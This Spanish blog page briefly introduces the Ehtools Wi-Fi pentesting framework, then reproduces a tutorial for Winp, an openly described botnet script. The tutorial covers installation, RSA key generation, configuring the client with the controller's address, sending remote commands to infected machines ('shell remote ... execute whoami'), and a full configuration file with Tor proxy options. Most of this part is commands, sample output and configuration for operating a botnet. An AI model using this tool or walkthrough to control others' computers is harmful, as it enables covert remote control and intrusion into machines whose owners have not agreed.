Ehtools Framework: Herramientas Pentesting para Wi-Fi

Imagen
Ehtools Framework (Entynet Hacker Tools) es un conjunto de herramientas de penetración para redes WiFi desarrollado por entynetproject. Se puede usar para todo, desde instalar nuevos complementos hasta hacer contacto WPA en segundos. Ademas, es fácil de instalar, configurar y usar. Como todas las tecnologías, el WiFi también tiene algunos problemas de seguridad, especialmente para las redes publicas WiFi. Cualquier intruso puede atacar nuestros dispositivos accediendo a nuestras redes WiFi (puedes hacer una prueba con Wifiphisher). Entonces, debemos analizar nuestra red inalambrica de vez en cuando para evitar ataques de hackers. Existen muchas herramientas para hacer pruebas de penetración de WiFi, pero la herramienta que discutiremos aquí es un poco diferente a las demás. Sobre Ehtools ¿Que es lo que hace que el marco de trabajo de Ehtools sea diferente de otros? Cuando hacemos pruebas de penetración WiFi, tendemos a usar diferentes herramientas para diferentes tareas.

Una Botnet desde tu casa

No hace mucho hice un pequeño aporte a la comunidad enseñando mi mini-proyecto para la creación de una botnet: "https://underc0de.org/foro/hacking/winp-una-botnet-desde-tu-casa!/", pocos usuarios pero con palabras que debo escuchar, requerían de documentación o algún tutorial acerca de esto, así que les traigo "Tutorial de Winp".


Antes de seguir debemos saber ... ¿Que es una botnet?

Una pequeña definición según wikipedia:

"Botnet es un término que hace referencia a un conjunto o red de robots informáticos o bots, que se ejecutan de manera autónoma y automática.​ El artífice de la botnet puede controlar todos los ordenadores/servidores infectados de forma remota."

¿Que es Winp?

Winp, es un proyecto de código abierto para la interacción múltiple de varias terminales remotas o... básicamente un script para la creación de una botnet.

Características

* - Cifrado híbrido (AES256 y RSA)
* - Múltiples conexiones
* - Uso de un proxy o Tor en el cliente
* - Auto-completado semi-inteligente
* - Uso sencillo y de forma simplificada
* - Rápido
* - Probado en Android (Userland), Linux y Windows (Por lo tanto está disponible para dos plataformas muy usadas)

Instalación
Windows:
pip install win-inet-pton
pip install pyreadline
PyCrypto en windows se tiene que instalar "manualmente". Puedes descargarlo desde http://www.voidspace.org.uk/python/modules.shtml#pycrypto
Linux:
pip install readline
pip install pycrypto
Los dos:
pip install PySocks
pip install rsa
pip install terminaltables
git clone https://github.com/DtxdF/Winp
Uso

Generar las claves públicas y privadas o el par de claves:
# Al usar por primera vez el script o cuando se borra el archivo que se genera donde estan almacenadas las claves "Comunmente db.dat" nos mostrara el siguiente mensaje que nos indica que coloquemos el tamaño en bits de las claves. Si presionas "ENTER" usaras el predeterminado.
...
No se localizaron las claves asimétricas!
Seleccione el tamaño en BITS de las claves:
Tamaño en bits [1024]: _ ...
# Si estas realizando una prueba puedes usar el tamaño en bits por defecto o uno menor; Una vez que des el ENTER empezara la generación de las claves donde tendremos que esperar
...
No se localizaron las claves asimetricas!
Seleccione el tamaño en BITS de las claves:
Tamaño en bits [1024]:
# El tiempo de la generación puede variar dependiendo del tamaño de bits y de las capacidades de su computador!
Generando ...
Escribiendo claves en el disco ...
Hecho! Winp> ...
# Una vez generado veremos el prompt donde introduciremos comandos ... Pero ¿Cuales comandos?, sigue leyendo.

Manejo y configuración de claves

La diferencia entre claves configurables y no configurables es que las configurables además de que no se pueden modificar a traves del script, son tus claves generadas al principio y las configurables ademas de que se pueden modificar, estas interactuan con el descifrado y cifrado

# Para ver cuales son las claves no configurables
Winp> show keys
Clave Pública: PublicKey(90005090728287665406797146311384640079299856943898211069144122372236375727721058924252993763198377309625402962242907128955425707451498617408359653620827867950855125199512556290544314373784425821943024362520594059826536478598737165833138868172157756444727112844277829688324737989594242542218547988417081058011, 65537)
Clave Privada: PrivateKey(90005090728287665406797146311384640079299856943898211069144122372236375727721058924252993763198377309625402962242907128955425707451498617408359653620827867950855125199512556290544314373784425821943024362520594059826536478598737165833138868172157756444727112844277829688324737989594242542218547988417081058011, 65537, 48494281988900403637325694392500465780248672483421421961068527779514452344806114281616452733147655540842312037471341282489968066219385502529969114589017042373692610200256808982070908819462297258143877185529102463480666979383115687500657778698566301595898465371826246127469059270935260338960317522565512672545, 52849951656400780285777520884722631487282822866380480600342755833032605533590186295581706790005744752358429614259024948140444759779010984029348917770810060513509809, 1703030710670232751440283284246566349733904241977940821873209494830657724104064064237818845466176006739101797811703277196376035836239941455995979)
...
# La clave pública se debe introducir en client.py, a continuación ya veremos como configurarlo
# Vamos a generar el par de claves para client.py y a configurar client.py
# Abrimos una consola de python
python
# Importamos el modulo rsa
>>> import rsa
# Generamos
>>> keys = rsa.newkeys(1024) # Tamaño en bits
>>> keys[0] # Clave pública
PublicKey(157132886210346782738223980361723125205063878182319147322422918451806186221294510958182729303386921787059083743254509463774921996532814508920110295805657392105921215718805734277352528360098336191622019889484874674068406789137857196807042263795591939427376528246694258103669970166788410322024292519284736289123, 65537) # Copiemos esta y configuremos en el servidor
>>> keys[1] # Clave privada
PrivateKey(157132886210346782738223980361723125205063878182319147322422918451806186221294510958182729303386921787059083743254509463774921996532814508920110295805657392105921215718805734277352528360098336191622019889484874674068406789137857196807042263795591939427376528246694258103669970166788410322024292519284736289123, 65537, 138076594655960157943018154707284023642132286809612545205777094629309648874652937906385479925122441350610274710320642469281993116229431538736900206491484470429338591716895837814247349826633521762339564205041230016003718004584926980811810556215081336912779656487124562107494840715152502381211544681832258204393, 51959915709865778767343141968794070842708372285437318264774036770559642203330124299585846335087897797854854941001291448632520820435680152228885587453352726486263231, 3024117419430522850360471104223916910070286925910970063104666679569295395598640543818423468877991091317870632107965096485512606576376559453277533) # Esta la usaremos en client.py
...
Winp> set key add public PublicKey(157132886210346782738223980361723125205063878182319147322422918451806186221294510958182729303386921787059083743254509463774921996532814508920110295805657392105921215718805734277352528360098336191622019889484874674068406789137857196807042263795591939427376528246694258103669970166788410322024292519284736289123, 65537)

Configuración del cliente
# Abrimos client.py con nuestro editor de texto, recomiendo nano o vim y nos vamos a las lineas de configuración del 28 al 35 para rellenar las variables correspondientes, en mi caso usare valores de ejemplos
...
rhost = str('127.0.0.1') # Dirección del servidor
rport = int(8043) # Puerto del servidor
user = str("root") # Usuario, normalmente esta en la configuración
passwd = str("password123!") # Contraseña, normalmente esta en la configuración
buff = int(1024) # El tamaño de la carga en memoria, 1024 esta perfecto, aunque si comienza a tener grandes cantidades de longitudes de datos use uno más grande
public_key = str('PublicKey(90005090728287665406797146311384640079299856943898211069144122372236375727721058924252993763198377309625402962242907128955425707451498617408359653620827867950855125199512556290544314373784425821943024362520594059826536478598737165833138868172157756444727112844277829688324737989594242542218547988417081058011, 65537)') # Controlador
private_key = str('PrivateKey(157132886210346782738223980361723125205063878182319147322422918451806186221294510958182729303386921787059083743254509463774921996532814508920110295805657392105921215718805734277352528360098336191622019889484874674068406789137857196807042263795591939427376528246694258103669970166788410322024292519284736289123, 65537, 138076594655960157943018154707284023642132286809612545205777094629309648874652937906385479925122441350610274710320642469281993116229431538736900206491484470429338591716895837814247349826633521762339564205041230016003718004584926980811810556215081336912779656487124562107494840715152502381211544681832258204393, 51959915709865778767343141968794070842708372285437318264774036770559642203330124299585846335087897797854854941001291448632520820435680152228885587453352726486263231, 3024117419430522850360471104223916910070286925910970063104666679569295395598640543818423468877991091317870632107965096485512606576376559453277533)') # Esclavo
...


Ver los clientes conectados e interacturar con ellos
Winp> show clients
... Aqui se mostrarían los clientes, pero debido a los caracteres el navegador no los visualizaría correctamente, en este caso yo tengo el siguiente cliente: 127.0.0.1P48210 (Como podemos ver, hay un "P" entre-medio de la dirección IP y el puerto, eso es un separador)
# Ahora enviemos un simple comando:
Winp> shell remote 127.0.0.1P48210 execute whoami
# Ahora visualizamos el resultado
# Quiero aclarar que puedes mostrar tanto todos los datos recibidos sin organización e incluso con organización por dirección IP
# Forma desorganizada
Winp> show data
... Los datos no los público por los caracteres
# Forma organizada
Winp> show data 127.0.0.1P48210
...

Configuración

Si necesitas cambiar un valor o el funcionamiento del script completo, puedes hacerlo en utils/config.py:

# -*- coding: UTF-8 -*-
import socks
import socket
from terminaltables import AsciiTable, DoubleTable, GithubFlavoredMarkdownTable, PorcelainTable, SingleTable
conf = {
        'proxy_setting':{ # Configuración del proxy
            'use':False, # True para integrar el proxy en el cliente, False lo contrario
            'proxy_type':socks.PROXY_TYPE_SOCKS4, # Tipo de proxy
            'proxy_addr':'127.0.0.1:9050', # La dirección del proxy, en este caso es la dirección del proxy de Tor
            'rdns':True, # dns remoto
            'username':None, # Nombre de usuario
            'password':None # Contraseña
            },
        'rsa_setting':{ # Configuración de rsa
            'bitsize':1024, # El tamaño de bits. Si recordamos es lo que nos aparece al principio del script en el primer momento de ejecución
            },
        'socket_setting':{ # Configuración del socket
            'lhost':'127.0.0.1', # La dirección del host local
            'lport':8043, # El puerto local o en escucha
            'family':socket.AF_INET, # La familia del socket
            'protocol':socket.SOCK_STREAM, # El protocolo
            'limit':0, # El limite de clientes, '0' para que sean infinitos
            'buffer_limit':1024 # El tamaño del buffer para la recepción de datos
            },
        'credentials':{ # Las credenciales
            'username':['root'], # Los nombres de usuarios
            'password':['password123!'] # Contraseñas
            },
        'style':{ # El estilo de algunas cosillas
            'input_string':'Winp> ', # El prompt
            'table_style':SingleTable # El estilo de la tabla
            },
        'time_setting':{ # La configuración del tiempo
            'sleep':1 # El intervalo de espera
            },
        'keys_setting':{
            'bitsize':1024
            },
        'shelve_setting':'db.dat', # La configuración de shelve para la serialización
            'custom_chars':{ # Los caracteres imprimibles correctamente usando la utilidad modify_char.modify
                'ñ':'\xa4',
                'ó':'\xa2',
                'í':'\xa1',
                'ú':'\xa3',
                'á':'\xa0'
            }
        }

Imágenes:


ATENCIÓN y DISCULPAS: Actualice a una versión reciente de Winp ya que se arreglaron errores de código

Nota-1: Si usas un sistema operativo/distribución que no se mencionó o no se probo su funcionamiento, ayúdame a verificar su funcionamiento haciéndolo saber.

Nota-2: El proyecto se ira actualizando constantemente, está atento ante nuevas funcionalidades, corrección de errores, etc

Nota-3: Esta información en cualquier momento puede quedar obsoleta, tratare de actualizar lo más rápido posible

Contribución gracias a DtxdF (https://github.com/DtxdF/Winp) y Hack Players.

Comentarios

  1. Respuestas
    1. esta muy interesante, disculpa que recién lo vea estuve haciendo otras cosas y volveré a publicar en mi blog noticias interesantes nuevamente.

      Eliminar

Publicar un comentario

Entradas populares de este blog

pfSense pfBlockerNG: la lista definitiva de listas de bloqueo de IP y DNSBL para firewall y puerta de enlace de seguridad de Internet en el hogar

¿Qué tipo de hosting le conviene más a cada empresa?